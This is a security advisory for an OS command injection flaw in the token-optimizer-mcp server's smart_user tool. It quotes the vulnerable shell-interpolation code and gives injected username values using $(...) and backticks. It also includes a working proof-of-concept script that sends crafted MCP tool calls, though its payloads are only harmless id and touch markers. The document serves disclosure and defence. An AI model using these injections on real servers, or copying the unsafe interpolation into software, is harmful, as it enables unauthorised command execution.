Advisory

GHSA-49mq-fc6q-3h46

Also known as: CVE-2026-55157

Summary

Token Optimizer MCP: OS command injection in smart_user via username in get-user-info

Details

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

---

Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

const { stdout: passwdOut } = await execAsync(
  `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

tool: smart_user
operation: get-user-info
argument: username

Root cause:

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

---

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

Node.js installed
token-optimizer-mcp built from source

Build from source:

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys

id_out = sys.argv[1]

# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'

messages = [
    {
        "jsonrpc": "2.0",
        "id": "init",
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "poc",
                "version": "0"
            }
        }
    },
    {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {}
    },
    {
        "jsonrpc": "2.0",
        "id": "poc-smart-user",
        "method": "tools/call",
        "params": {
            "name": "smart_user",
            "arguments": {
                "operation": "get-user-info",
                "username": evil_username,
                "useCache": False
            }
        }
    }
]

for msg in messages:
    print(json.dumps(msg), flush=True)
PY

sleep 1

if [ -f "$ID_OUT" ]; then
  echo "[VULN CONFIRMED] smart_user command injection executed:"
  cat "$ID_OUT"
  ls -l "$ID_OUT"
else
  echo "[FAIL] smart_user id output file not created"
  tail -120 /tmp/token_optimizer_smart_user_poc.log
fi

Expected result:

[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

In my test, the MCP response also showed that the payload reached the shell command:

Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}

---

Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-08-14 21:42 UTC
Modified
2026-08-14 21:56 UTC

Affected packages and fixes

@ooples/token-optimizer-mcp

npm · All systems

Affected

  • introduced 0, fixed 5.1.0 (semver)

Fixed versions

5.1.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences